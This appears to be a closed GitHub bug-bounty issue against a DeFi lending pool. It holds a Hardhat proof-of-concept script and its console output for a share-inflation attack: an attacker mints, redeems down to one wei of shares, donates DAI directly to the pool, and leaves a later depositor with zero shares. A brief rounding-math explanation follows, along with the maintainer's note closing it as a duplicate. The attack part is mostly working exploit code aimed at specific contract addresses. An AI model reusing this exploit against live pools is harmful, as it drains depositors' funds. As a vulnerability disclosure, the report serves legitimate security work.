Closed gandu0 closed 1 year ago
const { ethers } = require("hardhat");
//blocknumber at fork : 26349708
async function main() {
let user;
[user, ] = await ethers.getSigners();
let underlyingABI = [
"function balanceOf(address _user) view returns (uint256)",
"function decimals() external view returns(uint8)",
"function name() external view returns(string)",
"function approve(address spender, uint256 amount) external returns (bool)",
"function transfer(address recipient, uint256 amount) external returns (bool)",
"function totalSupply() external view returns (uint256)"
]
let poolABI = [
"function mint(uint256 mintAmount) external returns (uint256)",
"function redeem(uint256 redeemTokens) external returns (uint256)",
"function balanceOf(address _user) view returns (uint256)",
"function totalSupply() external view returns (uint256)",
"function totalUnderlying() external view returns (uint256)"
];
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");
// Getting pool instance
const pool = new ethers.Contract("0x0545a8eaf7ff6bb6f708cbb544ea55dbc2ad7b2a", poolABI, provider);
// getting underlying instance
const underlying = new ethers.Contract("0x2899a03ffDab5C90BADc5920b4f53B0884EB13cC", underlyingABI, provider); //dai
const mintToken = new ethers.Contract("0x0545a8eaF7ff6bB6F708CbB544EA55DBc2ad7b2a", underlyingABI, provider); //cDai
// Impersonating account which has some underlying tokens
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: ["0x7e3114fcbc1d529fd96de61d65d4a03071609c56"],
});
const attacker = await ethers.getSigner("0x7e3114fcbc1d529fd96de61d65d4a03071609c56");
// Getting some eth
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x1158e460913d00000", // 20 ETH
]);
if(await mintToken.balanceOf(attacker.address) == 0 ) {
console.log('===============================================');
const attackerBalance = await underlying.balanceOf(attacker.address);
const userLPbalance = await mintToken.balanceOf(user.address);
console.log("attacker's underlying(Dai) balance before attack:", attackerBalance);
console.log("user's underlying(Dai) balance:",userLPbalance )
// Transferring some underlying tokens to user
await underlying.connect(attacker).transfer(user.address, ethers.utils.parseEther('1'));
const userBalance = await underlying.balanceOf(user.address);
console.log("user's underlying(Dai) balance before attack:", userBalance)
// Approving
await underlying.connect(attacker).approve(pool.address, ethers.utils.parseEther('1'), {gasLimit: 2300000});
await underlying.connect(user).approve(pool.address,ethers.utils.parseEther('1'), {gasLimit: 2300000});
console.log('===============================================');
console.log('Step 1: Attacker Depositing 1e18 amount of token to mint some minttoken)');
console.log("balance of Dai before mint contract", await underlying.balanceOf(attacker.address));
await pool.connect(attacker).mint(ethers.utils.parseEther('1'), {gasLimit: 2300000});
await pool.connect(attacker).redeem((await mintToken.balanceOf(attacker.address))-1,{gasLimit: 2300000});
console.log("balance of Dai after contract", await underlying.balanceOf(attacker.address));
console.log("balance of Dai contract", await underlying.balanceOf(pool.address));
console.log('Attacker total underlying(Dai) balance after deposit: ', await underlying.balanceOf(attacker.address));
console.log('Attacker total minttoken balance after deposit: ', await mintToken.balanceOf(attacker.address));
console.log('===============================================');
console.log('Step 2: Transferring underlying directly to poolAddress, z = 2e18');
await underlying.connect(attacker).transfer(pool.address, ethers.utils.parseEther('2'), {gasLimit: 23000000});
console.log("total supply while transfering the underlying(dai)", await underlying.balanceOf(pool.address));
console.log("balance of underlying(dai) contract", await underlying.balanceOf(pool.address));
console.log('===============================================');
console.log('Attacker 2nd time Depositing with less than z after attack....'); // these amount will as big as attacker want
await pool.connect(user).mint( ethers.utils.parseEther('1'), {gasLimit: 2300000});
const UserLPBalance = await mintToken.balanceOf(user.address);
const UserUSDCBalance = await underlying.balanceOf(user.address);
// consider attacker as a new depositor
if(UserLPBalance == 0 && UserUSDCBalance <= userBalance){
console.log("Attack is successful")
}
else {
console.log("Failed");
}
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
})
BlockNumber: 7602029
command:
1. npx hardhat node --fork https://eth-goerli.g.alchemy.com/v2/<goeril Alchemy API>--fork-block-number 7602029
2. npx hardhat run --network localhost <PATH>
===============================================
attacker's underlying(Dai) balance before attack: BigNumber { value: "29985002999700014999700" }
user's underlying(Dai) balance: BigNumber { value: "0" }
user's underlying(Dai) balance before attack: BigNumber { value: "1000000000000000000" }
===============================================
Step 1: Attacker Depositing 1e18 amount of token to mint some minttoken)
balance of Dai before mint contract BigNumber { value: "29984002999700014999700" }
balance of Dai after contract BigNumber { value: "29984002999699814999700" }
balance of Dai contract BigNumber { value: "679833992440820850974953367" }
Attacker total underlying(Dai) balance after deposit: BigNumber { value: "29984002999699814999700" }
Attacker total minttoken balance after deposit: BigNumber { value: "1" }
===============================================
Step 2: Transferring underlying directly to poolAddress, z = 2e18
total supply while transfering the underlying(dai) BigNumber { value: "679833994440820850974953367" }
balance of underlying(dai) contract BigNumber { value: "679833994440820850974953367" }
===============================================
Attacker 2nd time Depositing with less than z after attack....
Attack is successful
This is a very detailed description and thank you for making this report. However I'm closing this issue as it is a duplicate of #8
Where:lToken When: lToken.totalSupply == 0 Severity: High Description:
This attack has two implications-
Maths:
here BalanceOF(address(this)) == X + 1Wei
now mint token will be :
amount/BalanceOF(address(this)
= Y/(X+1wei) (here denominator is greater than numerator )
= 0. something
= 0 (solidity round of math)fund At risk: - all the new lToken's funds were at risk so it's a critical bug, and the amount of funds at risk is infinite.
Recommendations:-
Note:
POC: